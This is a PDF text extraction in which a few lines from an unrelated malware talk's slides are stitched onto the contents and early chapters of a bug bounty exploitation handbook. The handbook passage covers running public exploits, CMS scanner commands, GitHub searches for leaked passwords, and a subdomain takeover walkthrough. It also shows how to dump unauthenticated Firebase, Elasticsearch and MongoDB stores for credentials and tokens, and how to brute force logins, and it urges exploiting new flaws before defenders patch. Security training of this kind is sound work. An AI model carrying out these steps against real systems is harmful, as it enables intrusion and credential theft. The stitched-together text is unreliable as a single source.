analysis tools & techniques
visit:
author: p. wardle
free (online) books
@patrickwardle
• 'Cryptocurrency Businesses Still Being Targeted by Lazarus' -Kaspersky
• 'Abusing the SYLK File Format' -Pieter Ceelen & Stan Hegt Pitts
• 'Lazarus APT Targets Mac Users With Poisoned Word Document' -Phil Stokes
RESOURCES:
IMAGES:
• WIRDOU.COM/
• GITHUB.COM/ARIS-T2
Office Drama | pdf |
Introduction
8
Basic Hacking Known Vulnerabilities
11
Introduction
11
Identifying technologies
13
Introduction
13
Wappalyzer
13
Powered By
14
Summary
15
Identifying the vulnerabilities
16
Introduction
16
Google
16
ExploitDB
17
CVE
19
Summary
19
Finding the POC
20
Introduction
20
Github
20
ExploitDB
21
Summary
21
Exploitation
22
Conclusion
22
Basic Hacking CMS
23
Introduction
23
Wordpress
24
Drupal
26
Joomla
26
Adobe AEM
28
Other
29
Conclusion
31
Basic Hacking Github
31
Introduction
31
Finding Sensitive Information
32
Conclusion
34
Basic Hacking Subdomain Takeover
35
Introduction
35
Subdomain Takeover
35
Github Takeover
37
Conclusion
43
Basic Hacking Databases
44
Introduction
44
Google Firebase
45
Introduction
45
Misconfigured Firebase Database
45
Summary
46
ElasticSearch DB
46
Introduction
46
ElasticSearch Basics
47
Unauthenticated ElasticSearch DB
48
Summary
53
Mongo Database
54
Introduction
54
MongoDB
54
Summary
55
Conclusion
55
Basic Hacking Brute Forcing
57
Introduction
57
Login Pages
57
Default Credentials
58
Brute Forcing
60
Conclusion
60
Basic Hacking Burp Suite
62
Introduction
62
Proxy
63
Target
69
Intruder
72
Repeater
78
Conclusion
79
Basic Hacking OWASP
81
Introduction
81
SQL Injection(SQLI)
82
Introduction
82
MySql
82
Union Based Sql Injection
84
Error Based Sql Injection
89
Xpath
89
PostgreSql
92
Union Based Sql Injection
93
Oracle
97
Union Based Sql Injection
98
Summary
101
Cross Site Scripting(XSS)
102
Introduction
102
Reflected XSS
103
Basic script alert
103
Input Field
104
Event Attributes
106
Stored XSS
108
DOM Based XSS
112
Introduction
112
Sources
114
Sinks
115
Polyglot
117
Beyond the alert box
118
Cookie Stealer
118
Summary
120
File Upload
120
Introduction
121
File Upload
121
Content Type Bypass
124
File Name Bypass
125
Summary
126
Directory Traversal
126
Introduction
126
Directory Traversal
127
Summary
128
Open Redirect
129
Introduction
129
Open Redirect
129
Summary
130
Insecure Direct Object Reference(IDOR)
131
Introduction
131
IDOR
131
Summary
134
Conclusion
134
API Testing
135
Introduction
136
APIs
137
Rest API
137
Remote Procedure Call (RPC)
142
Simple Object Access Protocol (SOAP)
143
GraphQL API
146
Authentication
148
HTTP Basic
148
Json Web Token (JWT)
150
Introduction
150
Deleted Signature
153
None Algorithm
154
Brute Force Secret Key
155
RSA to HMAC
156
Summary
158
Security Assertion Markup Language (SAML)
159
Introduction
159
XML Signature Removal
162
XMLComment Injection
166
XML Signature Wrapping (XSW)
167
XSW Attack 1
168
XSW Attack 2
169
XSW Attack 3
171
XSW Attack 4
171
XSW Attack 5
172
XSW Attack 6
172
XSW Attack 7
173
XSW Attack 8
174
API Documentation
176
Introduction
176
Swagger API
176
XSS
178
Postman
179
WSDL
181
WADL
183
Summary
185
Conclusion
185
Caching Servers
186
Web Cache Poisoning
186
Introduction
186
Basic Caching Servers
186
Web Cache Poisoning
189
Summary
193
Web Cache Deception
194
Introduction
194
Web Cache Deception
194
Summary
201
More OWASP
203
Introduction
203
Server Side Template Injection (SSTI)
203
Introduction
203
Python - Jinja 2
206
Python - Tornado
210
Ruby- ERB
211
Ruby - Slim
214
Java - Freemarker
216
Summary
218
On-site Request Forgery (OSRF)
218
Introduction
218
OSRF
218
Summary
221
Prototype Pollution
222
Introduction
222
Prototype Pollution
223
Summary
224
Client Side Template Injection (CSTI)
225
Introduction
225
Angular Basics
225
Client Side Template Injection (XSS)
227
Summary
230
XML External Entity (XXE)
231
Introduction
231
XXE Basics
231
XML External Entity(XXE) Attack
233
Summary
236
CSP Bypass
236
Introduction
237
Content Security Policy (CSP) Basics
237
Basic CSP Bypass
241
JSONP CSP Bypass
242
CSP Injection Bypass
243
Summary
244
Relative Path Overwrite (RPO)
245
Introduction
245
RPO
245
Summary
249
Conclusion
249
Wrap Up
249
Introduction
In the first version of the Bug Bounty Playbook I described the methodology and
techniques I use during the recon and fingerprinting phase of an engagement. As you
probably know there are 3 main phases of a bug bounty engagement: reconnaissance ,
fingerprinting , and exploitation.
This book is all about the exploitation phase of a hunt. The exploitation phase of a hunt
is where all the true hacking occurs. Everything up until this stage is just prep work and
now it's time to get busy.
Each target you go after will most likely be utilizing different technology stacks so it's
important that you know the vulnerabilities and misconfiguration impacting an array of
technologies. For example having knowledge of Github is important when mining for
hardcoded passwords and other sensitive information. If you don’t know what Github is
how are you supposed to know the possible security failures companies can impose
when using it ? You need to have deep knowledge on a wide range of technologies.
In addition to this you also need deep knowledge of web application vulnerabilities. The
vast majority of a company's public facing assets are going to be web apps so it's vital
that you know at the very least the OWASP top 10. The more vulnerabilities you know
how to exploit the better chances you have of finding one.
This book will go over the basics of the exploitation phase. Note I won't be teaching you
how to use tools, for the most part everything we do will be done manually so you can
get a deep understanding of the process. Once you know how things work at a deep
level you will want to replace some of your manual process with tools and automation.
Basic Hacking Known Vulnerabilities
Introduction
One of the first things you learn in hacker school is how to identify and exploit known
vulnerabilities. This may seem like a relatively simple step but you would be surprised at
the number of people who completely skip this phase of the exploitation cycle.
As shown above we start off by visiting the target application, next we attempt to
determine what software it is running. Once we find out what software and version the
endpoint is running we search on Google and other resources to see if it has
vulnerabilities or CVEs. After that we proceed to search for the exploit code and finally
we run the exploit code against the target.
Another version of this technique focuses on 1-days. In this cycle we start off by looking
at our threat feeds such as exploitdb and twitter. Here we are looking for new exploits
and CVEs that have just dropped, these are known as 1-days. When going down this
path time is the most important aspect, when a new exploit is dropped in the wild you
need to start exploiting your targets before they have a chance to patch. Once you hear
about a new exploit you will need to quickly find a POC for it and start mass scanning all
of your targets for that vulnerability.
As you can see both of these methodologies are very similar. With the first one we find
a target and see if it has any known vulnerabilities and if it does we try to exploit them.
In the second methodology we are looking for newly released exploits. When a new
exploit is dropped we immediately start scanning and exploiting everything before the
defenders have a chance to patch.
Identifying technologies
Introduction
When attempting to exploit a target with a known vulnerability you could just launch your
exploit at every target and hope for the best or you can do things a little smarter.
Identifying the target technology stack will help you find the exploits impacting that
stack. Not knowing this information will leave you blind and you will have to take random
guesses at which exploits might work.
Wappalyzer
If you're attempting to discover the technologies running on a website the best place to
start is wappalyzer. An alternative to wappalyzer is “ https://builtwith.com/ ” but I personally
like wappalyzer better.
I personally like to use the wappalyzer browser plugin as it makes it easy to determine
an endpoints tech stack when browsing their website. As you can see in the image
above this website is running “Ruby on Rails”, “Jquery 3.5.0”, “Backbone.js 1.4.0”, and a
few other things. Note that if you use a command line tool you can scan multiple
websites at once, this is nice if you're trying to scan hundreds or thousands of sites at
once.
Powered By
Wappalyzer is great but it won’t identify everything. Wappalyzer works off of regexes so
if it doesn't have a specific technologies regex in its database it won't be able to identify
it.
As shown above, the wappalyzer came back mostly blank. However, if you look at the
footer at the bottom of the page you see the words “Powered by Gila CMS” . We can
conclude that this site is running Gila CMS but if we were only looking at wappalyzer we
would have missed this.
Summary
You need to know the technology stack your target is running so you can find
associated exploits. There are a few ways to determine the technologies an endpoint is
running but I almost always use wappalyzer. If you can’t determine this information with
wappalyzer there are other techniques to find an endpoints technology stack.
Identifying the vulnerabilities
Introduction
You know what software your target is running but how do you determine what
vulnerabilities it has? The whole point of learning a target technology stack is so you
can use this information to find associated vulnerabilities.
Google
When I'm looking to see what vulnerabilities a technology has the first place I go is
Google. Actually, Google is the first place I go when I have a question about anything as
it's the best resource out there. Try typing the following search queries into Google:
●
<TECHNOLOGY> <VERSION> vulnerabilities
●
<TECHNOLOGY> <VERSION> exploits
There is all kinds of stuff here! I see SQL injection exploits, LFI exploits, and much
more. I recommend you click on the first couple links to see what interesting
vulnerabilities there are. You'd be surprised at the things you will find buried in a blog
post 10 links down the page.
ExploitDB
Another place I like to search is ExploitDB. ExploitDB is a tool used to search and
download exploit code. This is by far one of my favorite resources to use when
searching for vulnerabilities related to a technology stack.
●
https://www.exploit-db.com/
You can use the website to search for things but I typically use the command line tool
called searchsploit. You can download this tool from Github as shown below:
●
https://github.com/offensive-security/exploitdb
●
./searchsploit “name of technology”
Normally once we find out the vulnerabilities a target is vulnerable to we have to search
for the exploit code but we can skip this step since ExploitDB provides us with the proof
of concept(POC) code as well.
CVE
According to Google, the Common Vulnerabilities and Exposures(CVE) system provides
a reference-method for publicly known information-security vulnerabilities and
exposures. If you're looking to find what CVEs a technology stack has, there is no better
place to search than NIST.
●
https://nvd.nist.gov/vuln/search
Searching for “Gila CMS” gives us 17 CVEs, the newer the CVE the better as there is a
better chance the target hasn't patched their systems yet. Note that just because you
find a CVE doesn't mean you can exploit it. To exploit a CVE you need the proof of
concept(POC) exploit code, without that you're stuck.
Summary
Locating the vulnerabilities impacting a technology stack is relatively easy. All you really
have to do is search for them. Between Google, ExploitDB, and NIST you should be
able to find everything you're looking for.
Finding the POC
Introduction
You have identified that the target application contains vulnerabilities but to exploit them
you need the proof of concept (POC) exploit code. If you don't have the exploit code
your only other option is to make it yourself. However, this is beyond the scope of this
book.
Github
One of the best places to find exploit code is Github. GitHub is an American
multinational corporation that provides hosting for software development and version
control using Git. It offers the distributed version control and source code management
functionality of Git, plus its own features. Developers love Github and hackers do as
well.
You can easily search for a CVE on Github as shown in the above image. If there is a
POC you will most likely find it on here. However, BE AWARE OF FAKE POCs as
these exploits are not vetted and come from untrusted third parties.
ExploitDB
I already mentioned ExploitDB earlier so im not going to talk about it again but this is a
great resource for finding POCs.
●
https://www.exploit-db.com/
Summary
9 times out of 10 you are going to find the exploit code you're looking for on Github or
on ExploitDB. If you can’t find it in one of those locations it probably doesn't exist and
you will have to create your own POC. However, don’t be afraid to search for resources.
Sometimes the POC code can be buried deep in a blog post on the 5th page of Google.
Exploitation
Once you have a working POC you are ready to test it against your target. I always
recommend setting up a vulnerable machine to test the exploit against first so you know
what to expect from a real target. Once you're ready just run the exploit on your target
and review the results to see if they are vulnerable or not.
Conclusion
Exploiting known vulnerabilities is one of the oldest tricks in the book. That being said
it’s still one of the best methodologies to use for quick easy wins. There are really only
three steps when using this approach. First determine your targets techstack, search for
any vulnerabilities in that tech stack, and finally run the exploits.
Basic Hacking CMS
Introduction
Content management systems(CMS) such as wordpress,drupal,and joomla make up
the vast majority of the internet. According to a survey performed by W3Techs 62% of
the internet is run on a CMS and 39.1% percent of the internet is run on wordpress. As
an attacker this means the vast majority of the sites you are going to be going up
against will be run by a CMS.
Wordpress
As of right now over a quarter (25%) of the internet is built using WordPress. This is
useful to know because that means a single exploit has the potential to impact a large
portion of your target’s assets. There are in fact hundreds of exploits and
misconfigurations impacting WordPress and its associated plugins. One common tool to
scan for these vulnerabilities is wpscan:
●
https://github.com/wpscanteam/wpscan
The only thing that’s annoying about this tool is that it's written in ruby, I prefer tools
written in python or Golang. During the fingerprinting phase you should've discovered
the technologies running on your target's assets so it should be easy to search for sites
running WordPress. Once you find a site scan it with wpscan as shown below:
●
wpscan --URL <URL>
The vast majority of the sites you scan are going to be patched. This is because most of
these WordPress sites are managed by third party vendors who perform automatic
updates. However, you will run into vulnerable plugins quite frequently but many of
these exploits require credentials to exploit. Another thing I find all the time is directly
listing on the uploads folder. Always make sure to check:
●
“/wp- content/uploads/”
You can often find sensitive information such as user emails, passwords, paid digital
products, and much more.
Drupal
Drupal is the third most popular CMS yet I seem to run into Drupal sites more than
Joomla. If you find a Drupal site you want to use droopescan to scan it. This scanner
also has the ability to scan additional CMSs as well:
●
https://github.com/droope/droopescan
●
python3 droopescan scan Drupal -u <URL Here> -t 32
Joomla
WordPress is by far the most popular CMS with over 60% of the market share. Joomla
comes in second so you can expect to run into this CMS as well. Unlike WordPress
sites who seem to be fairly locked down Joomla is a mess. If you want to scan for
vulnerabilities the most popular tool is Joomscan:
●
https://github.com/rezasp/joomscan
●
perl joomscan.pl -u <URL Here>
Adobe AEM
If you ever run into the Adobe AEM CMS you're about to find a whole bunch of
vulnerabilities. 99% of the time this is an instant win! This CMS is riddled with public
vulnerabilities and I’m 100% positive there are hundreds more zero days. Seriously this
is one of the worst CMSs I have ever seen. If you want to scan an AEM application for
vulnerabilities use the tool aemhacker:
●
https://github.com/0ang3el/aem-hacker
●
python aem_hacker.py -u <URL Here> --host <Your Public IP>
Note that in order to test for the SSRF vulnerabilities you need to have a public IP that
the target server can connect back to.
Other
There are hundreds of different CMSs so it wouldn't be practical for me to mention every
single one of them. The vast majority of sites are going to be running WordPress,
Joomla, and Drupal but you still might run into other CMSs.
If you come across a CMS you haven't seen before the first step is to go to exploit db
and see if it has any known CVEs:
●
https://www.exploit-db.com/
For instance, if I discover a CMS named “Magento” I would perform the following search
on exploit-db:
In addition to finding single exploits you want to search GitHub to see if there is a tool
that can scan for all the possible vulnerabilities and misconfigurations. Like the tools for
wordpress,drupal, joomla, and adobe aem there are scanners that target other
platforms.
As it turns out there is a Magento vulnerability scanner called magescan so we can just
use that:
●
https://github.com/steverobbins/magescan
Make sure to use this process whenever you come across a CMS framework you don’t
recognize.
Conclusion
Over half of the internet is being run by a CMS framework. So, you are almost
guaranteed to run into a CMS at one point or another. When you do find a CMS, you
don’t want to waste time manually testing the endpoint, you want to test for known
CVEs and misconfigurations. The best way to do this is to find some sort of CMS
specific vulnerability scanner. If you can find that you can try searching exploit-db and
google for known CVEs. If you still come up empty handed it’s probably best to move on
unless you're hunting for zero days.
Basic Hacking Github
Introduction
GitHub is a web-based version-control and collaboration platform for software
developers and as of right now it’s one of the easiest ways to compromise an
organization. This is one of my go to techniques when I want an easy high impact
finding.
Finding Sensitive Information
Pilliging github for sensitive information disclosures is one of the easiest ways to
compromise an organization. It doesn’t matter how hardened your external perimeter is
if your developers are hard coding credentials and posting them online you’re going to
get compromised.
It's fairly common for developers to hard code test accounts, API keys, or whatever
when they are writing a piece of software. This makes things easy for the developer as
they won’t have to enter their credentials every time they go to run/test their program.
However, more times than not these credentials remain in the source code when they
push it to Github, if this repository is public everyone can view it.
The first thing you need is a list of sensitive words to search on. This can be a file name,
file extension, variable name, or anything else. A good list can be found below thanks to
“@obheda12”:
Once you have a list of sensitive things to search for your ready to hunt! I normally just
type in the domain of the target followed by the Github Dork as shown below:
●
Domain.com “password”
As you can see above, searching for the domain “hackerone.com” and the term
“password” gave us 7,390 results. In a typical scenario I would end up going through
90% of these results by hand for a few hours before I find something juicy. Having to
spend hours sorting through a bunch of trash is really the only downside to this
technique. However, when you do find something it typically leads to an insta high or
critical finding.
Conclusion
As of right now Github is one of the easiest ways to get a high or critical vulnerability.
Almost every developer uses Github and these same developers also like hard coding
passwords in their source code. As long as you're willing to spend a few hours
searching through thousands of repos you’re almost guaranteed to find something
good.
Basic Hacking Subdomain Takeover
Introduction
Another extremely popular vulnerability is subdomain takeover. Though this vulnerability
has died down significantly it is still very common in the wild. If you are unfamiliar with
this type of vulnerability according to Google “Subdomain takeover attacks are a class
of security issues where an attacker is able to seize control of an organization's
subdomain via cloud services like AWS or Azure”.
Subdomain Takeover
A subdomain takeover occurs when a subdomain is pointing to another domain
(CNAME) that no longer exists. If an attacker were to register the non existing domain
then the target subdomain would now point to your domain effectively giving you full
control over the target’s subdomain. What makes this vulnerability so interesting is that
you can be safe one minute and a single DNS change can make you vulnerable the
next minute.
The vulnerability here is that the target subdomain points to a domain that does not
exist. An attacker can then register the non existing domain. Now the target subdomain
will point to a domain the attacker controls.
If you’re planning on hunting for this vulnerability you are definitely going to be
referencing the following github page as it contains a bunch of examples and
walkthroughs on exploiting different providers:
●
https://github.com/EdOverflow/can-i-take-over-xyz
As you can see above this page contains a large list of engines who can be exploited by
this vulnerability. If you click on the issue number it will give you a walk through
exploiting that particular engine. Because every provider has its own way of registering
domains you will need to learn the process of registering a domain on the engine that
impacts your target.
Github Takeover
One of the easiest ways to spot a subdomain takeover vulnerability is by the error
message it throws as shown below:
As you can see above when we visit our target site it throws a 404 status code and
gives us the error message “There isn’t a Github Pages Site here”. If we go to the
subdomain takeover wiki we can confirm that this error message indicates the possibility
of subdomain takeover.
Now that we have an indicator this site is vulnerable we need to get the github page the
vulnerable subdomain is pointing to. We need this information so we can register the
domain through github.
As shown above a “dig” command can be used to gather the DNS records of the
vulnerable domain. We can also see that the domain points to the github page
“ghostlulzvulntakeover.github.io”, if we can register this domain we win. To figure out the
process of registering a domain on Github you can Google it or you can follow the
tutorial in the subdomain takeover github page as shown below:
Now that we know the steps to register a domain on Github we just need to do it. First I
created a Github repo with the same name as the CNAME record:
After that create an “index.html” file in the repo as shown below:
The next step is to set the repo as the main branch.
Finally specify the target domain you are going after.
That's it! Now when you visit the target domain you should see the page you set up.
We WIN! As you can see above we successfully exploited the subdomain takeover
vulnerable and got our page to appear on the targets subdomain. Note that this is the
process for Github, if your target is vulnerable to something else you will have to follow
the steps for that provider. Lucky for us all this is documented on the subdomain
takeover github wiki.
Conclusion
A few years ago subdomain takeover was all over the place but it has started to die
down recently. However, you will still find plenty of organizations vulnerable to this type
of attack. It is extremely easy to pull off and it allows attackers to completely take over
the target subdomain. If you’re looking for an easy high security finding this is it.
Basic Hacking Databases
Introduction
A database is an organized collection of data, generally stored and accessed
electronically from a computer system. If you’re attacking a web application a lot of the
time one of the main goals is to compromise the back end database as it's where all the
sensitive user data is stored.
Compromising these databases normally involves exploiting an sql injection vulnerability
but sometimes it can be much easier. These databases are often exposed to the
internet without authentication leaving them open to hackers for pilliging as discussed in
the following sections.
Google Firebase
Introduction
According to Google “The Firebase Realtime Database is a cloud-hosted database
stored as JSON and synchronized in realtime to every connected client”. An issue can
arise in firebase when developers fail to enable authentication. This vulnerability is very
similar to every other database misconfiguration, there's no authentication. Leaving a
database exposed to the world unauthenticated is an open invite for malicious hackers.
Misconfigured Firebase Database
When i'm hunting for this I'll try to keep an eye out for the “*.firebaseio.com” url, if you
see this then you know your target is utilizing Google's firebase DB. An example domain
can be found below:
●
Vuln-domain.firebaseio.com
If the developer forgot to enable authentication the database will be exposed to the
word. You can easily view the database by appending a “/.json” to the url as shown
below:
●
vuln-domain.firebaseio.com/.json
As you can see above we were able to dump a bunch of passwords belonging to an
organization. An attacker could then leverage these credentials to perform additional
attacks on the application.
Summary
Finding and exploiting this misconfiguration is extremely easy and requires zero
technical skills to pull off. All you need to do is find an application using firebase,
append “/.json” to the url, and if there isn't authentication you can export the entire DB!
ElasticSearch DB
Introduction
You have probably heard of the popular relational database called MySQL. Elastic
search like MySQL is a database used to hold and query information. However, elastic
search is typically used to perform full text searches on very large datasets. Another
thing to note is that ElasticSearch is unauthenticated by default which can cause a lot of
security problems as described in the following sections.
ElasticSearch Basics
According to Google “ElasticSearch is a document- oriented database designed to
store, retrieve, and manage document-oriented or semi-structured data. When you use
Elasticsearch, you store data in JSON document form. Then, you query them for
retrieval.” Unlike MySQL which stores its information in tables, elastic search uses
something called types. Each type can have several rows which are called documents.
Documents are basically a json blob that hold your data as shown in the example
below:
●
{"id":1, "name":"ghostlulz", "password":"SuperSecureP@ssword"}
In MySQL we use column names but in Elasticsearch we use field names. The field
names in the above json blob would be id, name, and password. In MySQL we would
store all of our tables in a database.
In Elastic Search we store our documents in something called an index. An index is
basically a collection of documents.
Unauthenticated ElasticSearch DB
Elastic search has an http server running on port 9200 that can be used to query the
database. The major issue here is that a lot of people expose this port to the public
internet without any kind of authentication. This means anyone can query the database
and extract information. A quick Shodan search will produce a tun of results as shown
below:
Once you have identified that your target has port 9200 open you can easily check if it is
an ElasticSearch database by hitting the root directory with a GET request. The
response should look something like the following:
Once you know an endpoint has an exposed Elastic Search db try to find all the
indexes(Databases) that are available. This can be done by hitting the “/_cat/indices?v”
endpoint with a GET request. This will list out all of the indexes as shown below:
This information along with other details about the service can also be found by
querying the “/_stats/?pretty=1” endpoint.
To perform a full text search on the database you can use the following command
“/_all/_search?q=email” . This will query every index for the word “email”. There are a
few words that I like to search for which include:
●
Username
●
Email
●
Password
●
Token
●
Secret
●
Key
If you want to query a specific index you can replace the word “_all” with the name of
the index you want to search against.
Another useful technique is to list all of the field names by making a GET request to the
“/INDEX_NAME_HERE/_mapping?pretty=1” endpoint. I typically search for interesting
field names such as:
●
Username
●
Email
●
Password
●
Token
●
Secret
●
Key
The output should look something like this:
As you can see above we have the field names addressable_type, city, and much more
which isn't displayed as the output was too large.
To query all values that contain a specific field name use the following command
“/_all/_search?q=_exists:email&pretty=1” . This will return documents that contain a field
name(column) named email as shown below:
Again you can replace “_all” with the name of an index to perform searches specifically
against that endpoint.
Summary
ElasticSearch is just another database where you can store and query information. The
major problem is that people expose the unauthenticated web service to the public. With
unauthenticated access to the web service attackers can easily dump the entire
database. Always be on the lookout for port 9200.
Mongo Database
Introduction
Like Elasticsearch MongoDB is a nosql database that uses JSON-like documents to
store data. Also similar to the rest of the databases we have talked about Mongo DB
fails to implement authentication by default. This means it's up to the user to enable this
which they often forget.
MongoDB
If you're searching for MongoDB instances, be on the lookout for port 27017. As
mentioned earlier MongoDB doesn't have authentication enabled by default so to test
for this vulnerability just try to login. To do this I normally just use the mongo cli as
shown below:
●
mongo ip-address-here
Once logged into the database try issuing a command, if you get an “unauthorized”
error message prompting for authentication then the endpoint has authentication
enabled.
However, if you can run arbitrary commands against the system then authentication has
not been set up and you can do whatever you want.
Summary
If you see port 27017 open or any other MongoDB associate port make sure to test the
endpoint to see if its missing authentication. Exploiting this misconfiguration is as easy
as connecting to the database and extracting the data. This is as easy as it gets folks.
Conclusion
If an application needs to store data chances are its being stored in a database. These
databases hold all kinds of sensitive information such as passwords, tokens, private
messages, and everything else. That's why databases are always popular targets by
hackers. Since these are such popular targets you would think they would be fairly
secure but they aren't. A lot of databases are missing authentication by default! This
means if connected to the internet anyone could connect to these devices to extract the
information they hold.
Name
Endpoint
Firebase DB
*.firebaseio.com/.json
Elasticsearch
Port:9200
MongoDB
Port:27017
CouchDB
Port:5985,6984
CassandraDB
Port:9042,9160
Basic Hacking Brute Forcing
Introduction
Brute forcing is a classic attack that has been around forever and shows no signs of
being eliminated. Passwords are a weak point of security and as an attacker you should
take full advantage of this. Easily guessable passwords, using default passwords, and
password reuse are easy ways for an organization to get compromised. The rule of
thumb is if there is a login screen it should be brute forced.
Login Pages
There are three things you need to have if you want to launch a brute force attack. The
three things you need are an endpoint with a login page, a username , and a password.
First you need to find the endpoint you want to target.
Name
Endpoint
Web Application Login Page
Web application login page, Outlook mail,
VPN, Router, Firewall, Wordpress admin
panel, etc
SSH
Port:22
RDP
Port:3389
VNC
Port:5900
FTP
Port:21
Telnet
Port:23
Default Credentials
Now that you know which endpoints to look out for you need to get a list of usernames
and passwords. This technique may be basic but you would be surprised at the number
of times iv compromised an organization because they are using default credentials.
As shown above one of the best places to find default passwords is SecList:
●
https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials
The above picture is an example file containing default usernames and passwords to
hundreds of routers. All you have to do is look up the target vendor and try all the
default passwords it uses, this technique works very well as people often forget to
change the default credentials.
If you are targeting an SSH server or something other than a router the process will be
slightly different. Not really, those services also come with default credentials as shown
in the image below:
Depending on the service you are brute forcing you will want to find or create a list of
credentials tailored toward that. You may also find that sec list does not have any
default passwords impacting the target technology. If that's the case just perform a
Google search or two, I normally find these things in the first few links.
Brute Forcing
Once you have a good set of credentials you can start the actual process of brute
forcing. You could do this by hand but I would 100% recommend using a tool for this job
unless you are only testing 5 passwords or something small like that.
●
https://github.com/vanhauser-thc/thc-hydra
If you're performing a brute force attack you probably want to use the tool “hydra”. This
tool supports a bunch of different protocols and has never let me down. Once you have
the target endpoint and credentials you can use any tool to perform the brute force
attack just pick one you like.
Conclusion
Brute force attacks is an easy way to compromise a target application. With the use of
default passwords, easily guessable passwords, and password reuse finding a target
vulnerable to this shouldn't be that hard. All you need is a good credential list and you're
ready to go.
Basic Hacking Burp Suite
Introduction
If there is one tool that you NEED to have to be a successful Bug Bounty Hunter it would
be Burp Suite. You can find plenty of bugs without ever leaving Burp, it is by far my most
used and favorite tool to use, almost every web attack I pull off is in Burp. If you don’t
know what Burp is it’s a tool for performing security tests against web applications. The
tool acts as a proxy and allows you to inspect, modify, replay, etc to web requests.
Almost every exploit your going to pull off will be done with Burp.
●
https://portswigger.net/burp
Note that there is a free version (community) but I HIGHLY recommend purchasing a
professional license. This is a must have tool!
Proxy
The proxy tab is probably the most important tab in Burp. This is where you can see all
of your traffic that passes by the Burp proxy. The first thing you want to do when Burp
loads is make sure your proxy is up and running as shown in the below image:
The next step is to force your browser to route its traffic through the Burp proxy, this can
be accomplished by changing your browsers proxy setting and shown below, note this
will be different depending on which browser you use:
Once you have the Burp proxy listening, the browser configured to use Burp, and you
imported the Burp certificate in your browser you will be good to go. Once you navigate
to a web page you should see the request show up in Burp as shown below:
As you can see in the above image the “intercept” tab is toggled on, this means that
Burp will intercept each HTTP request and you will have to manually press the “forward”
button for the request to continue to the server. While on this tab you can also modify
the requests before forwarding it to the back-end server. However, I only use this tab
when i'm trying to isolate requests from a specific feature, I normally turn “intercept” to
off and I view the traffic in the “HTTP History” tab and shown below:
As you can see the “HTTP History” tab shows each HTTP request and response that
was made by and sent to our browser. This is where I spend 80% of my time looking for
something that peaks my interest. When looking at the traffic I'm mostly paying attention
to the method,url, and MIME type fields. Why? Because when I see a POST method
being used I think of Stored XSS, Cross site request forgery, and many more
vulnerabilities. When I see a URL with an email,username,or id in it I think IDOR. When
I see a JSON MIME type I think back-end API. Most of this knowledge of knowing what
to look for comes with experience, as you test so many apps you start to see things that
look similar and you start to notice things that look interesting.
Clicking on an HTTP request will show you the clients request and the servers
response, this can be seen in the above image. Note that while in this view these values
can’t be modified, you will have to send the request to the repeater if you want to modify
the request and replay it, this will be discussed in more detail later.
One functionality that I use to find a lot of vulnerabilities and make my life easier is the
search feature. Basically you can search for a word(s) across all of your Burp traffic.
This is extremely powerful and has directly led me to finding vulnerabilities. For example
I may search for the word “url=” this should show me all requests which have the
parameter URL in it, I can then test for Server Side Request Forgery (SSRF) or open
redirect vulnerabilities. I might also search for the header “Access-Control-Allow-Origin”
or the“callback=” GET parameter when testing for Same Origin Policy (SOP) bypasses.
These are just some examples, your query will change depending on what you're
looking for but you can find all kinds of interesting leads. Also don't worry if you don't
know what SSRF or SOP bypass means these attacks will be discussed in the
upcoming chapters.
Burps proxy tab is where you will spend most of your time so make sure you are familiar
with it. Any traffic that is sent by your browser will be shown in the HTTP history tab just
make sure you have intercept turned off so that you don’t have to manually forward
each request.
Target
I generally don't find myself in the target section of burp suite but I think it's still
important to know what it is. The “Site Map” sub tab organizes each request seen by the
proxy and build a site map as shown below:
As you can see in the above image a site map is built which easily allows us to view
requests from a specific target. This becomes fairly useful when hitting an
undocumented API endpoint as this view allows you to build a picture of the possible
endpoints. You can also view the HTTP requests in this tab, clicking on a folder in the
sitemap will only show requests from that path.
In addition to the “Site Map” tab there is a “Scope” tab. I almost never use this but if you
want to define the scope of your target this will limit burps scans to only the domains in
scope.
Intruder
If you're doing any fuzzing or brute forcing with Burp you're probably doing it in the
“intruder” tab. When you find an interesting request right click it then click “Send to
Intruder”, this will send your requests to the intruder tab as shown below:
Go to the intruder tab and you should see something like this:
Now click the “Clear” button to reset everything. Now from here your steps vary
depending on what you're trying to do, but suppose we are trying to do some parameter
fuzzing. One of the first things we need to do is select the value we are trying to modify.
This can be done by highlighting the value and pressing the “Add” button as shown
below:
As you can see above we are selecting the “cb” parameter value. Since we are
attempting to do parameter fuzzing this is the value that will be replaced with our fuzzing
payloads.
You may have also noticed the “Attack type” drop down menu is set to “Sniper”, there
are four different attack types which are described in the table below:
Sniper
Uses a single payload list; Replaces one position at a time;
Battering
ram
Uses a single payload list; Replaces all positions at the same time;
Once you have selected your attack type and the value to be modified click on the
“Payloads” sub tab as shown below:
Pitchfork
Each position has a corresponding payload list; So if there are two
positions to be modified they each get their own payload list.
Cluster
Bomb
Uses each payload list and tires different combinations for each position.
Here we want to select our payload type and the payload list. There are numerous
payload types but i'm going to keep it on the default one, feel free to play around with
the others. As for my payload list we want a list of fuzzing values. For this example im
just going to use the default lists that comes with Burp but there are some other good
lists on SecLists:
●
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
Now to use Burps pre defined list just click the “Add from list” drop down menu and
select one:
Now that you have your fuzzing list imported all that you have to do is press “Start
attack”.
.
As shown above after hitting the “Start attack” button a popup will appear and you will
see your payloads being launched. The next step is to inspect the HTTP responses to
determine if there is anything suspicious.
Intruder is great for brute forcing, fuzzing, and other things of that nature. However,
most professionals don't use intruder, they use a plugin called “Turbo Intruder”. If you
don't know what “Turber Intruder” is, it's intruder on steroids, it hits a whole lot harder
and a whole lot faster. This plugin will be discussed more in the plugins section.
Repeater
In my opinion this is one of the most useful tabs in Burp. If you want to modify and
replay and request you do it in the repeater tab. Similar to Intruder if you right click a
request and click “Send to Repeater” it will go to the repeater tab.
Once the request is sent to the Repeater tab you will see something like this:
One this tab you can modify the request to test for vulnerabilities and security
misconfigurations. Once the request is modified you can hit the Send button to send the
request. The HTTP response will be shown in the Response window. You might have
noticed that at the top there are a bunch of different tabs with numbers on them. By
default every request you send to the repeater will be assigned a number. Whenever I
find something interesting I change this value so I can easily find it later, that's why one
of the tabs is labeled SSRF,it’s a quick easy way to keep a record of things.
Conclusion
Burp Suite is the one tool every bug bounty hunter needs in their arsenal. If you’re doing
a deep dive on a target application Burp is the only tool you need. It has a vast amount
of plugins to aid in the identification and exploitation of bugs but its real power comes
from allowing attackers the ability to inspect and manipulate raw HTTP requests. Once
you learn the basics of Burp you can pull off the vast majority of your hacks using the
tool.
Basic Hacking OWASP
Introduction
